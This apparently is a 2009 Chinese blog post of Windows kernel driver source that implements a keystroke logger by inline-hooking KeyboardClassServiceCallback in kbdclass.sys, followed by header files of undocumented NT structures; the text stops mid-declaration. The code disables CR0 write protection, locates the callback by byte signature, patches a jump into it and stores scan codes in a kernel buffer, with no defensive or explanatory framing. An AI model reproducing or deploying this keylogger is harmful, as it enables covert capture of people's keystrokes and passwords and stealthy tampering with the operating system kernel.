---
title: "vc++实现Inline hook KeyboardClassServiceCallback实现键盘记录"
author: "winzenghua"
date: "2009-07-30T19:14:00Z"
tags: []
slug: "vc-inline-hook-keyboardclassservicecallback"
draft: false
lastmod: "2009-07-30T19:14:00Z"
id: 948119
url: "https://java4gis.iteye.com/blog/948119"
---

/*

\*/

#ifndef \_DBGHELP\_H  
#define \_DBGHELP\_H 1

#include &lt;ntddk.h&gt;

#define dprintf if (DBG) DbgPrint  
#define nprintf DbgPrint

#define kmalloc(\_s)ExAllocatePoolWithTag(NonPagedPool, \_s, 'SYSQ')  
//#define kfree(\_p)ExFreePoolWithTag(\_p, 'SYSQ')  
#define kfree(\_p)ExFreePool(\_p)

#endif

#include &lt;ntddk.h&gt;  
//#include &lt;ntifs.h&gt;  
#include &lt;windef.h&gt;

#include "HookKey.h"  
#include "struct.h"  
#include &lt;ntddkbd.h&gt;  
#define MAXBUF 0x15//存储键盘扫描码的缓冲区，其中第一字节为当前存储位置，  
ULONG g\_OldFunction;  
ULONG g\_uCr0;

BYTE g\_HookCode\[5] = { 0xe9, 0, 0, 0, 0 };  
BYTE g\_OrigCode\[5] = { 0 }; // 原函数的前字节内容  
BYTE jmp\_orig\_code\[7] = { 0xEA, 0, 0, 0, 0, 0x08, 0x00 }; //因为是长转移，所以有个 0x08  
PDEVICE\_OBJECT pDevObj;  
BOOL g\_bHooked = FALSE;  
int KeyCode=0;  
PVOID hPageDataSection;  
PVOID KeyBuf;  
PDEVICE\_OBJECT g\_kbDeviceObject = NULL;  
ULONG g\_kbdclass\_base ;  
ULONG g\_lpKbdServiceCallback ;  
VOID ReadKeyBuf();  
VOID ChangeFake\_Function();  
VOID  
fake\_OldFunction (  
PDEVICE\_OBJECT DeviceObject,  
PKEYBOARD\_INPUT\_DATA InputDataStart,  
PKEYBOARD\_INPUT\_DATA InputDataEnd,  
PULONG InputDataConsumed  
);  
#ifdef ALLOC\_PRAGMA  
#pragma alloc\_text(NONPAGED, fake\_OldFunction)  
#endif

/*

HookKey.H

Author: &lt;your name&gt;  
Last Updated: 2006-02-12

This framework is generated by EasySYS 0.3.0  
This template file is copying from QuickSYS 0.3.0 written by Chunhua Liu

\*/

#ifndef \_HOOKKEY\_H  
#define \_HOOKKEY\_H 1

//  
// Define the various device type values. Note that values used by Microsoft  
// Corporation are in the range 0-0x7FFF(32767), and 0x8000(32768)-0xFFFF(65535)  
// are reserved for use by customers.  
//

#define FILE\_DEVICE\_HOOKKEY0x8000

//  
// Macro definition for defining IOCTL and FSCTL function control codes. Note  
// that function codes 0-0x7FF(2047) are reserved for Microsoft Corporation,  
// and 0x800(2048)-0xFFF(4095) are reserved for customers.  
//

#define HOOKKEY\_IOCTL\_BASE0x800

//  
// The device driver IOCTLs  
//

#define CTL\_CODE\_HOOKKEY(i) CTL\_CODE(FILE\_DEVICE\_HOOKKEY, HOOKKEY\_IOCTL\_BASE+i, METHOD\_BUFFERED, FILE\_ANY\_ACCESS)

#define IOCTL\_HOOKKEY\_HELLOCTL\_CODE\_HOOKKEY(0)  
#define IOCTL\_HOOKKEY\_TESTCTL\_CODE\_HOOKKEY(1)

//  
// Name that Win32 front end will use to open the HookKey device  
//

#define HOOKKEY\_WIN32\_DEVICE\_NAME\_A"[\\\\\\\\.\\\\HookKey]()"  
#define HOOKKEY\_WIN32\_DEVICE\_NAME\_WL"[\\\\\\\\.\\\\HookKey]()"  
#define HOOKKEY\_DEVICE\_NAME\_A"[\\\\Device\\\\HookKey]()"  
#define HOOKKEY\_DEVICE\_NAME\_WL"[\\\\Device\\\\HookKey]()"  
#define HOOKKEY\_DOS\_DEVICE\_NAME\_A"[\\\\DosDevices\\\\HookKey]()"  
#define HOOKKEY\_DOS\_DEVICE\_NAME\_WL"[\\\\DosDevices\\\\HookKey]()"

#ifdef \_UNICODE  
#define HOOKKEY\_WIN32\_DEVICE\_NAME HOOKKEY\_WIN32\_DEVICE\_NAME\_W  
#define HOOKKEY\_DEVICE\_NAMEHOOKKEY\_DEVICE\_NAME\_W  
#define HOOKKEY\_DOS\_DEVICE\_NAMEHOOKKEY\_DOS\_DEVICE\_NAME\_W  
#else  
#define HOOKKEY\_WIN32\_DEVICE\_NAME HOOKKEY\_WIN32\_DEVICE\_NAME\_A  
#define HOOKKEY\_DEVICE\_NAMEHOOKKEY\_DEVICE\_NAME\_A  
#define HOOKKEY\_DOS\_DEVICE\_NAMEHOOKKEY\_DOS\_DEVICE\_NAME\_A  
#endif

#endif

VOID  
Proxy\_OldFunction (  
PDEVICE\_OBJECT DeviceObject,  
PKEYBOARD\_INPUT\_DATA InputDataStart,  
PKEYBOARD\_INPUT\_DATA InputDataEnd,  
PULONG InputDataConsumed  
);  
typedef VOID  
(\*My\_KeyboardClassServiceCallback) (  
PDEVICE\_OBJECT DeviceObject,  
PKEYBOARD\_INPUT\_DATA InputDataStart,  
PKEYBOARD\_INPUT\_DATA InputDataEnd,  
PULONG InputDataConsumed  
);  
My\_KeyboardClassServiceCallback orig\_KeyboardClassServiceCallback = NULL;  
void WPOFF()  
{

ULONG uAttr;

\_asm  
{  
push eax;  
mov eax, cr0;  
mov uAttr, eax;  
and eax, 0FFFEFFFFh; // CR0 16 BIT = 0  
mov cr0, eax;  
pop eax;  
cli  
};

g\_uCr0 = uAttr; //保存原有的 CRO 屬性

}

VOID WPON()  
{

\_asm  
{  
sti  
push eax;  
mov eax, g\_uCr0; //恢復原有 CR0 屬性  
mov cr0, eax;  
pop eax;  
};

}

//  
// 停止inline hook  
//  
VOID UnHookOldFunction ()  
{  
KIRQL oldIrql;

WPOFF();  
oldIrql = KeRaiseIrqlToDpcLevel();

RtlCopyMemory ( (BYTE\*)g\_OldFunction, g\_OrigCode, 5 );

KeLowerIrql(oldIrql);  
WPON();

g\_bHooked = FALSE;  
}

//  
// 开始inline hook -- OldFunction  
//  
VOID HookOldFunction ()  
{  
KIRQL oldIrql;

if (g\_OldFunction == 0) {  
DbgPrint("OldFunction == NULL\\n");  
return;  
}

//DbgPrint("开始inline hook -- OldFunction\\n");  
DbgPrint( "OldFunction的地址t0x%08x\\n", (ULONG)g\_OldFunction );  
// 保存原函数的前字节内容  
RtlCopyMemory (g\_OrigCode, (BYTE\*)g\_OldFunction, 5);//★  
\*( (ULONG\*)(g\_HookCode + 1) ) = (ULONG)fake\_OldFunction - (ULONG)g\_OldFunction - 5;//★

// 禁止系统写保护，提升IRQL到DPC  
WPOFF();  
oldIrql = KeRaiseIrqlToDpcLevel();

RtlCopyMemory ( (BYTE\*)g\_OldFunction, g\_HookCode, 5 );  
\*( (ULONG\*)(jmp\_orig\_code + 1) ) = (ULONG) ( (BYTE\*)g\_OldFunction + 5 );//★

RtlCopyMemory ( (BYTE\*)Proxy\_OldFunction, g\_OrigCode, 5);//修改Proxy\_OldFunction函数头  
RtlCopyMemory ( (BYTE\*)Proxy\_OldFunction + 5, jmp\_orig\_code, 7);

// 恢复写保护，降低IRQL  
KeLowerIrql(oldIrql);  
WPON();

g\_bHooked = TRUE;

}  
VOID ChangeFake\_Function()  
{  
KIRQL oldIrql;  
int i;  
ULONG addr=(ULONG)fake\_OldFunction;

ULONG code\_fill=0xAAAAAAAA;  
DbgPrint("fake\_OldFunction:%x",addr);  
WPOFF();  
oldIrql = KeRaiseIrqlToDpcLevel();  
for (i=0;i&lt;0x200;i++)  
{  
if (\*((ULONG\*)(addr+i))==code\_fill)  
{  
DbgPrint("AAAAAAAA Finded:%x",KeyBuf);  
\*((ULONG\*)(addr+i))=(ULONG)KeyBuf;  
}

}  
DbgPrint("AAAAAAAA:%x",\*((ULONG\*)(addr+i)) );  
KeLowerIrql(oldIrql);  
WPON();

}  
VOID ReadKeyBuf()  
{  
BYTE Index=\*(BYTE\*)KeyBuf;  
BYTE i,j;  
//BYTE \_Buf\[MAXBUF];

for (i=0;i&lt;MAXBUF;i++)  
{  
DbgPrint("Key Code:%x",\*(BYTE\*)((BYTE\*)KeyBuf+i));  
}

}  
//  
// 跳转到我们的函数里面进行预处理  
//

\_\_declspec (naked)  
VOID  
fake\_OldFunction (  
PDEVICE\_OBJECT DeviceObject,  
PKEYBOARD\_INPUT\_DATA InputDataStart,  
PKEYBOARD\_INPUT\_DATA InputDataEnd,  
PULONG InputDataConsumed  
)  
{

\_\_asm  
{  
push eax  
push ebx  
push ecx  
push esi  
xor esi,esi  
mov eax, \[0xAAAAAAAA];  
mov ebx, \[esp+0x18]  
//movzx ecx, word ptr \[ebx-20]//+2  
mov cl , byte ptr \[ebx+2];//按键码  
mov ch , byte ptr \[eax];//得到当前位置-&gt;ch  
cmp ch , MAXBUF  
jnz NotLastPlace  
mov ch, 0x0;

NotLastPlace:  
inc ch  
movzx si,ch  
mov byte ptr \[eax], ch  
mov byte ptr \[eax+esi],cl

pop esi  
pop ecx  
pop ebx  
pop eax  
jmp Proxy\_OldFunction ;//★在这一系列JMP中，没有一处使用CALL，简化了代码，增强了稳定性  
}  
}

//  
// 代理函数，负责跳转到原函数中继续执行  
//  
\_\_declspec (naked)  
VOID  
Proxy\_OldFunction (  
PDEVICE\_OBJECT DeviceObject,  
PKEYBOARD\_INPUT\_DATA InputDataStart,  
PKEYBOARD\_INPUT\_DATA InputDataEnd,  
PULONG InputDataConsumed  
)  
{

\_\_asm { // 共字节  
\_emit 0x90  
\_emit 0x90  
\_emit 0x90  
\_emit 0x90  
\_emit 0x90 // 前字节实现原函数的头字节功能  
\_emit 0x90 // 这个填充jmp  
\_emit 0x90  
\_emit 0x90  
\_emit 0x90  
\_emit 0x90 // 这字节保存原函数+5处的地址  
\_emit 0x90  
\_emit 0x90 // 因为是长转移,所以必须是0x0080  
}  
}

//////////////////////////////////////////////////////////////////////////

PVOID  
GetModlueBaseAdress(  
char* ModlueName,  
BOOL bKernelBase  
)  
{  
ULONG size,index;  
PULONG buf;  
NTSTATUS status;  
PSYSTEM\_MODULE\_INFORMATION module;  
PVOID driverAddress=0;

ZwQuerySystemInformation(SystemModuleInformation,&size, 0, &size);  
if(NULL==(buf = (PULONG)ExAllocatePool(PagedPool, size))){  
DbgPrint("failed alloc memory failed \\n");  
return 0;  
}

status=ZwQuerySystemInformation(SystemModuleInformation,buf, size , 0);  
if(!NT\_SUCCESS( status )) {  
DbgPrint("failed query\\n");  
return 0;  
}

module = (PSYSTEM\_MODULE\_INFORMATION)(( PULONG )buf + 1);

// 系统模块基址  
if ( TRUE == bKernelBase )  
{  
driverAddress = module\[0].Base;  
DbgPrint("KernelBase:%x\\n",driverAddress);  
goto \_x\_;  
}

// 其他模块基址  
for (index = 0; index &lt; \*buf; index++) {  
if (\_stricmp(module\[index].ImageName + module\[index].ModuleNameOffset, ModlueName) == 0)  
{  
driverAddress = module\[index].Base;  
DbgPrint("Module found at:%x\\n",driverAddress);  
goto \_x\_;  
}  
}

\_x\_:  
ExFreePool(buf);  
return driverAddress;  
}

ULONG GetFunctionAddr( IN PCWSTR FunctionName)  
{  
UNICODE\_STRING UniCodeFunctionName;  
RtlInitUnicodeString( &UniCodeFunctionName, FunctionName );  
return (ULONG)MmGetSystemRoutineAddress( &UniCodeFunctionName );

}

//根据特征值，搜索OldFunction  
ULONG FindOldFunctionAddress()  
{

NTSTATUS status = STATUS\_SUCCESS;  
UNICODE\_STRING ustrLinkName;  
UNICODE\_STRING ustrDevName;  
PDEVICE\_OBJECT pDevObj;  
ULONG i, curAddr;  
PUCHAR FileContent;  
DWORD dwRet,dwSize;  
PVOID pTmp;  
LARGE\_INTEGER timeout;  
KEVENT Kevent;  
ULONG g\_kbdclass\_base ;  
ULONG g\_lpKbdServiceCallback ;  
PDEVICE\_OBJECT g\_kbDeviceObject = NULL;  
KEYBOARD\_INPUT\_DATA kid;  
ULONG Addr\_OldFunction = 0;  
ULONG code1\_sp2=0x8b55ff8b, code2\_sp2=0x8b5151ec, code3\_sp2=0x65830845,code4\_sp2=0x8b530008;  
//KbdInit();  
g\_kbdclass\_base = (ULONG)GetModlueBaseAdress( "kbdclass.sys",0 );  
DbgPrint("kbdclass.sys: 0x%08lx\\n", (PVOID)g\_kbdclass\_base);

if ( 0 == g\_kbdclass\_base ) {  
DbgPrint("ERROR: g\_kbdclass\_base == 0\\n");  
return STATUS\_SUCCESS;  
}

curAddr = g\_kbdclass\_base;  
//DbgPrint("curAddr: 0x%08lx\\n", curAddr);  
for (i=curAddr;i&lt;=curAddr+0x2000;i++)  
{  
//DbgPrint("i: 0x%08lx\\n", i);  
if (\*((ULONG \*)i)==code1\_sp2) {  
if (\*((ULONG \*)(i+4))==code2\_sp2) {  
if (\*((ULONG \*)(i+8))==code3\_sp2) {  
if (\*((ULONG \*)(i+12))==code4\_sp2) {  
g\_lpKbdServiceCallback=i;  
break ;  
}  
}  
}  
}  
}

Addr\_OldFunction = (ULONG)g\_lpKbdServiceCallback;  
DbgPrint("KeyboardClassServiceCallback: 0x%08lx\\n", (PVOID)g\_lpKbdServiceCallback);  
//DbgPrint("g\_kbDeviceObject: 0x%08lx\\n", (PVOID)g\_kbDeviceObject);

return Addr\_OldFunction;  
}

VOID OnUnload( IN PDRIVER\_OBJECT DriverObject )  
{

UNICODE\_STRING strLink;  
RtlInitUnicodeString(&strLink, L"[\\\\DosDevices\\\\devHookKey]()");

DbgPrint("My Driver Unloaded!");  
DbgPrint("MyKeyboardClassServiceCallback invoked: %x",KeyCode);

ReadKeyBuf();  
ExFreePool(KeyBuf);  
IoDeleteSymbolicLink(&strLink);  
IoDeleteDevice(DriverObject-&gt;DeviceObject);

UnHookOldFunction();  
}

NTSTATUS DriverEntry( IN PDRIVER\_OBJECT theDriverObject, IN PUNICODE\_STRING theRegistryPath )  
{  
NTSTATUS status = STATUS\_SUCCESS;  
UNICODE\_STRING ustrLinkName;  
UNICODE\_STRING ustrDevName;  
DWORD dwSize,dwRet;  
PVOID pTmp;  
KEYBOARD\_INPUT\_DATA kid;  
DbgPrint("My Driver Loaded!");  
theDriverObject-&gt;DriverUnload = OnUnload;

RtlInitUnicodeString(&ustrDevName, L"[\\\\Device\\\\devHookKey]()");  
status = IoCreateDevice(theDriverObject,  
0,  
&ustrDevName,  
FILE\_DEVICE\_UNKNOWN,  
0,  
FALSE,  
&pDevObj);

if(!NT\_SUCCESS(status)){  
DbgPrint("IoCreateDevice = 0x%x\\n", status);  
return status;  
}

RtlInitUnicodeString(&ustrLinkName, L"[\\\\DosDevices\\\\devHookKey]()");  
status = IoCreateSymbolicLink(&ustrLinkName, &ustrDevName);  
if(!NT\_SUCCESS(status)) {  
DbgPrint("IoCreateSymbolicLink = 0x%x\\n", status);  
IoDeleteDevice(pDevObj);  
return status;  
}

KeyBuf=(PVOID)ExAllocatePool( NonPagedPool,MAXBUF+2);  
\*((BYTE\*)KeyBuf)=0x0;

ChangeFake\_Function();  
g\_OldFunction = FindOldFunctionAddress();  
HookOldFunction();

return STATUS\_SUCCESS;  
}

/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\**  
\* AUTHOR : sudami \[sudami@163.com]  
\* TIME : 2008/08/13 \[13:8:2008 - 13:07]  
\* MODULE : struct.h  
\*  
\* Command:  
\* 驱动的头文件  
\*  
\*  
\* Description:  
\* 定义一些常量,避免重复劳动; 您可以在此添加需要的函数/结构体  
\*  
\*\**  
\* Copyright (c) 2008 - 2010 sudami.  
\* Freely distributable in source or binary for noncommercial purposes.  
\* TAKE IT EASY,JUST FOR FUN.  
\*  
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/  
#pragma once

#include &lt;ntddk.h&gt;

typedef long LONG;  
//typedef unsigned char BOOL, \*PBOOL;  
typedef unsigned char BYTE, \*PBYTE;  
typedef unsigned long DWORD, \*PDWORD;  
typedef unsigned short WORD, \*PWORD;

//typedef void \*HMODULE;  
typedef long NTSTATUS, \*PNTSTATUS;  
typedef unsigned long DWORD;  
typedef DWORD * PDWORD;  
typedef unsigned long ULONG;  
typedef unsigned long ULONG\_PTR;  
typedef ULONG \*PULONG;  
typedef unsigned short WORD;  
typedef unsigned char BYTE;  
typedef unsigned char UCHAR;  
typedef unsigned short USHORT;  
typedef void \*PVOID;  
typedef BYTE BOOLEAN;  
#define SEC\_IMAGE 0x01000000

//----------------------------------------------------

typedef enum \_SYSTEM\_INFORMATION\_CLASS {  
SystemBasicInformation = 0,  
SystemCpuInformation = 1,  
SystemPerformanceInformation = 2,  
SystemTimeOfDayInformation = 3, /* was SystemTimeInformation \*/  
Unknown4,  
SystemProcessInformation = 5,  
Unknown6,  
Unknown7,  
SystemProcessorPerformanceInformation = 8,  
Unknown9,  
Unknown10,  
SystemModuleInformation = 11,  
Unknown12,  
Unknown13,  
Unknown14,  
Unknown15,  
SystemHandleInformation = 16,  
Unknown17,  
SystemPageFileInformation = 18,  
Unknown19,  
Unknown20,  
SystemCacheInformation = 21,  
Unknown22,  
SystemInterruptInformation = 23,  
SystemDpcBehaviourInformation = 24,  
SystemFullMemoryInformation = 25,  
SystemNotImplemented6 = 25,  
SystemLoadImage = 26,  
SystemUnloadImage = 27,  
SystemTimeAdjustmentInformation = 28,  
SystemTimeAdjustment = 28,  
SystemSummaryMemoryInformation = 29,  
SystemNotImplemented7 = 29,  
SystemNextEventIdInformation = 30,  
SystemNotImplemented8 = 30,  
SystemEventIdsInformation = 31,  
SystemCrashDumpInformation = 32,  
SystemExceptionInformation = 33,  
SystemCrashDumpStateInformation = 34,  
SystemKernelDebuggerInformation = 35,  
SystemContextSwitchInformation = 36,  
SystemRegistryQuotaInformation = 37,  
SystemCurrentTimeZoneInformation = 44,  
SystemTimeZoneInformation = 44,  
SystemLookasideInformation = 45,  
SystemSetTimeSlipEvent = 46,  
SystemCreateSession = 47,  
SystemDeleteSession = 48,  
SystemInvalidInfoClass4 = 49,  
SystemRangeStartInformation = 50,  
SystemVerifierInformation = 51,  
SystemAddVerifier = 52,  
SystemSessionProcessesInformation= 53,  
SystemInformationClassMax  
} SYSTEM\_INFORMATION\_CLASS, \*PSYSTEM\_INFORMATION\_CLASS;

typedef struct \_SYSTEM\_MODULE\_INFORMATION {//Information Class 11  
ULONG Reserved\[2];  
PVOID Base;  
ULONG Size;  
ULONG Flags;  
USHORT Index;  
USHORT Unknown;  
USHORT LoadCount;  
USHORT ModuleNameOffset;  
CHAR ImageName\[256];  
}SYSTEM\_MODULE\_INFORMATION,\*PSYSTEM\_MODULE\_INFORMATION;

typedef struct {  
DWORD dwNumberOfModules;  
SYSTEM\_MODULE\_INFORMATION smi;  
} MODULES, \*PMODULES;

// PEB

#pragma pack(4)  
typedef struct \_PEB\_LDR\_DATA  
{  
ULONG Length;  
BOOLEAN Initialized;  
PVOID SsHandle;  
LIST\_ENTRY InLoadOrderModuleList;  
LIST\_ENTRY InMemoryOrderModuleList;  
LIST\_ENTRY InInitializationOrderModuleList;  
} PEB\_LDR\_DATA, \*PPEB\_LDR\_DATA;  
#pragma pack()

typedef struct \_PEB\_ORIG {  
BYTE Reserved1\[2];  
BYTE BeingDebugged;  
BYTE Reserved2\[229];  
PVOID Reserved3\[59];  
ULONG SessionId;  
} PEB\_ORIG, \*PPEB\_ORIG;

typedef void (\*PPEBLOCKROUTINE)(PVOID PebLock);

struct \_PEB\_FREE\_BLOCK {  
struct \_PEB\_FREE\_BLOCK \*Next;  
ULONG Size;  
};  
typedef struct \_PEB\_FREE\_BLOCK PEB\_FREE\_BLOCK;  
typedef struct \_PEB\_FREE\_BLOCK \*PPEB\_FREE\_BLOCK;

typedef struct \_RTL\_DRIVE\_LETTER\_CURDIR {  
USHORT Flags;  
USHORT Length;  
ULONG TimeStamp;  
UNICODE\_STRING DosPath;  
} RTL\_DRIVE\_LETTER\_CURDIR, \*PRTL\_DRIVE\_LETTER\_CURDIR;

typedef struct \_RTL\_USER\_PROCESS\_PARAMETERS {  
ULONG MaximumLength;  
ULONG Length;  
ULONG Flags;  
ULONG DebugFlags;  
PVOID ConsoleHandle;  
ULONG ConsoleFlags;  
HANDLE StdInputHandle;  
HANDLE StdOutputHandle;  
HANDLE StdErrorHandle;  
UNICODE\_STRING CurrentDirectoryPath;  
HANDLE CurrentDirectoryHandle;  
UNICODE\_STRING DllPath;  
UNICODE\_STRING ImagePathName;  
UNICODE\_STRING CommandLine;  
PVOID Environment;  
ULONG StartingPositionLeft;  
ULONG StartingPositionTop;  
ULONG Width;  
ULONG Height;  
ULONG CharWidth;  
ULONG CharHeight;  
ULONG ConsoleTextAttributes;  
ULONG WindowFlags;  
ULONG ShowWindowFlags;  
UNICODE\_STRING WindowTitle;  
UNICODE\_STRING DesktopName;  
UNICODE\_STRING ShellInfo;  
UNICODE\_STRING RuntimeData;  
RTL\_DRIVE\_LETTER\_CURDIR DLCurrentDirectory\[0x20];  
} RTL\_USER\_PROCESS\_PARAMETERS, \*PRTL\_USER\_PROCESS\_PARAMETERS;

typedef struct \_PEB {  
BOOLEAN InheritedAddressSpace;  
BOOLEAN ReadImageFileExecOptions;  
BOOLEAN BeingDebugged;  
BOOLEAN Spare;  
HANDLE Mutant;  
PVOID ImageBaseAddress;  
PPEB\_LDR\_DATA LoaderData;  
PRTL\_USER\_PROCESS\_PARAMETERS ProcessParameters;  
PVOID SubSystemData;  
PVOID ProcessHeap;  
PVOID FastPebLock;  
PPEBLOCKROUTINE FastPebLockRoutine;  
PPEBLOCKROUTINE FastPebUnlockRoutine;  
ULONG EnvironmentUpdateCount;  
PVOID \*KernelCallbackTable;  
PVOID EventLogSection;  
PVOID EventLog;  
PPEB\_FREE\_BLOCK FreeList;  
ULONG TlsExpansionCounter;  
PVOID TlsBitmap;  
ULONG TlsBitmapBits\[0x2];  
PVOID ReadOnlySharedMemoryBase;  
PVOID ReadOnlySharedMemoryHeap;  
PVOID \*ReadOnlyStaticServerData;  
PVOID AnsiCodePageData;  
PVOID OemCodePageData;  
PVOID UnicodeCaseTableData;  
ULONG NumberOfProcessors;  
ULONG NtGlobalFlag;  
BYTE Spare2\[0x4];  
LARGE\_INTEGER CriticalSectionTimeout;  
ULONG HeapSegmentReserve;  
ULONG HeapSegmentCommit;  
ULONG HeapDeCommitTotalFreeThreshold;  
ULONG HeapDeCommitFreeBlockThreshold;  
ULONG NumberOfHeaps;  
ULONG MaximumNumberOfHeaps;  
PVOID \*\*ProcessHeaps;  
PVOID GdiSharedHandleTable;  
PVOID ProcessStarterHelper;  
PVOID GdiDCAttributeList;  
PVOID LoaderLock;  
ULONG OSMajorVersion;  
ULONG OSMinorVersion;  
ULONG OSBuildNumber;  
ULONG OSPlatformId;  
ULONG ImageSubSystem;  
ULONG ImageSubSystemMajorVersion;  
ULONG ImageSubSystemMinorVersion;  
ULONG GdiHandleBuffer\[0x22];  
ULONG PostProcessInitRoutine;  
ULONG TlsExpansionBitmap;  
BYTE TlsExpansionBitmapBits\[0x80];  
ULONG SessionId;  
} PEB, \*PPEB;

typedef struct \_SYSTEM\_PROCESS\_INFORMATION {  
ULONG NextEntryOffset;  
ULONG NumberOfThreads;  
LARGE\_INTEGER SpareLi1;  
LARGE\_INTEGER SpareLi2;  
LARGE\_INTEGER SpareLi3;  
LARGE\_INTEGER CreateTime;  
LARGE\_INTEGER UserTime;  
LARGE\_INTEGER KernelTime;  
UNICODE\_STRING ImageName;  
KPRIORITY BasePriority;  
HANDLE UniqueProcessId;  
HANDLE InheritedFromUniqueProcessId;  
ULONG HandleCount;  
ULONG SpareUl2;  
ULONG SpareUl3;  
ULONG PeakVirtualSize;  
ULONG VirtualSize;  
ULONG PageFaultCount;  
ULONG PeakWorkingSetSize;  
ULONG WorkingSetSize;  
ULONG QuotaPeakPagedPoolUsage;  
ULONG QuotaPagedPoolUsage;  
ULONG QuotaPeakNonPagedPoolUsage;  
ULONG QuotaNonPagedPoolUsage;  
ULONG PagefileUsage;  
ULONG PeakPagefileUsage;  
ULONG PrivatePageCount;  
} SYSTEM\_PROCESS\_INFORMATION, \*PSYSTEM\_PROCESS\_INFORMATION;

typedef struct \_SYSTEM\_THREAD\_INFORMATION {  
LARGE\_INTEGER KernelTime;  
LARGE\_INTEGER UserTime;  
LARGE\_INTEGER CreateTime;  
ULONG WaitTime;  
PVOID StartAddress;  
CLIENT\_ID ClientId;  
KPRIORITY Priority;  
LONG BasePriority;  
ULONG ContextSwitches;  
ULONG ThreadState;  
ULONG WaitReason;  
} SYSTEM\_THREAD\_INFORMATION, \*PSYSTEM\_THREAD\_INFORMATION;

struct \_SYSTEM\_THREADS  
{  
LARGE\_INTEGERKernelTime;  
LARGE\_INTEGERUserTime;  
LARGE\_INTEGERCreateTime;  
ULONGWaitTime;  
PVOIDStartAddress;  
CLIENT\_IDClientIs;  
KPRIORITYPriority;  
KPRIORITYBasePriority;  
ULONGContextSwitchCount;  
ULONGThreadState;  
KWAIT\_REASONWaitReason;  
};

struct \_SYSTEM\_PROCESSES  
{  
ULONGNextEntryDelta;  
ULONGThreadCount;  
ULONGReserved\[6];  
LARGE\_INTEGERCreateTime;  
LARGE\_INTEGERUserTime;  
LARGE\_INTEGERKernelTime;  
UNICODE\_STRINGProcessName;  
KPRIORITYBasePriority;  
ULONGProcessId;  
ULONGInheritedFromProcessId;  
ULONGHandleCount;  
ULONGReserved2\[2];  
VM\_COUNTERSVmCounters;  
IO\_COUNTERSIoCounters; //windows 2000 only  
struct \_SYSTEM\_THREADSThreads\[1];  
};

typedef struct \_HANDLE\_TABLE\_ENTRY\_INFO  
{  
ULONG AuditMask;  
} HANDLE\_TABLE\_ENTRY\_INFO, \*PHANDLE\_TABLE\_ENTRY\_INFO;

typedef struct \_HANDLE\_TABLE\_ENTRY  
{  
union  
{  
PVOID Object;  
ULONG\_PTR ObAttributes;  
PHANDLE\_TABLE\_ENTRY\_INFO InfoTable;  
ULONG\_PTR Value;  
};  
union  
{  
ULONG GrantedAccess;  
struct  
{  
USHORT GrantedAccessIndex;  
USHORT CreatorBackTraceIndex;  
};  
LONG NextFreeTableEntry;  
};  
} HANDLE\_TABLE\_ENTRY, \*PHANDLE\_TABLE\_ENTRY;

typedef struct \_HANDLE\_TABLE  
{  
ULONG TableCode;  
PEPROCESS QuotaProcess;  
PVOID UniqueProcessId;  
ULONG HandleTableLock\[4];  
LIST\_ENTRY HandleTableList;  
ULONG HandleContentionEvent;  
PVOID DebugInfo;  
LONG ExtraInfoPages;  
ULONG FirstFree;  
ULONG LastFree;  
ULONG NextHandleNeedingPool;  
LONG HandleCount;  
union  
{  
ULONG Flags;  
UCHAR StrictFIFO:1;  
};  
} HANDLE\_TABLE, \*PHANDLE\_TABLE;

typedef struct \_OBJECT\_TYPE\_INITIALIZER {  
USHORT Length;  
BOOLEAN UseDefaultObject;  
BOOLEAN CaseInsensitive;  
ULONG InvalidAttributes;  
GENERIC\_MAPPING GenericMapping;  
ULONG ValidAccessMask;  
BOOLEAN SecurityRequired;  
BOOLEAN MaintainHandleCount;  
BOOLEAN MaintainTypeList;  
POOL\_TYPE PoolType;  
ULONG DefaultPagedPoolCharge;  
ULONG DefaultNonPagedPoolCharge;  
PVOID DumpProcedure;  
PVOID OpenProcedure;  
PVOID CloseProcedure;  
PVOID DeleteProcedure;  
PVOID ParseProcedure;  
PVOID SecurityProcedure;  
PVOID QueryNameProcedure;  
PVOID OkayToCloseProcedure;  
} OBJECT\_TYPE\_INITIALIZER, \*POBJECT\_TYPE\_INITIALIZER;

typedef struct \_OBJECT\_TYPE {  
ERESOURCE Mutex;  
LIST\_ENTRY TypeList;  
UNICODE\_STRING Name; // Copy from object header for convenience  
PVOID DefaultObject;  
ULONG Index;  
ULONG TotalNumberOfObjects;  
ULONG TotalNumberOfHandles;  
ULONG HighWaterNumberOfObjects;  
ULONG HighWaterNumberOfHandles;  
OBJECT\_TYPE\_INITIALIZER TypeInfo;  
ULONG Key;  
ERESOURCE ObjectLocks\[4];  
} OBJECT\_TYPE, \*POBJECT\_TYPE;

typedef struct \_OBJECT\_DIRECTORY {  
struct \_OBJECT\_DIRECTORY\_ENTRY \*HashBuckets\[ 37 ];  
ULONG Lock;  
PVOID DeviceMap;  
ULONG SessionId;  
USHORT Reserved;  
USHORT SymbolicLinkUsageCount;  
} OBJECT\_DIRECTORY, \*POBJECT\_DIRECTORY;

/*  
typedef enum \_KAPC\_ENVIRONMENT {  
OriginalApcEnvironment,  
AttachedApcEnvironment,  
CurrentApcEnvironment,  
InsertApcEnvironment  
} KAPC\_ENVIRONMENT;  
\*/

typedef enum  
{  
OriginalApcEnvironment,  
AttachedApcEnvironment,  
CurrentApcEnvironment  
} KAPC\_ENVIRONMENT;

//int swprintf( wchar\_t \*, const wchar\_t \*, ... );  
int wsprintf( PWSTR buffer, PCWSTR spec, ... );

//----------------------------------------------------

NTSYSAPI  
NTSTATUS  
NTAPI ZwQuerySystemInformation(  
IN ULONG SystemInformationClass,  
IN PVOID SystemInformation,  
IN ULONG SystemInformationLength,  
OUT PULONG ReturnLength);

NTSTATUS  
NtOpenFile(  
OUT PHANDLE FileHandle,  
IN ACCESS\_MASK DesiredAccess,  
IN POBJECT\_ATTRIBUTES ObjectAttributes,  
OUT PIO\_STATUS\_BLOCK IoStatusBlock,  
IN ULONG ShareAccess,  
IN ULONG OpenOptions  
);

NTSTATUS  
ZwOpenProcess(  
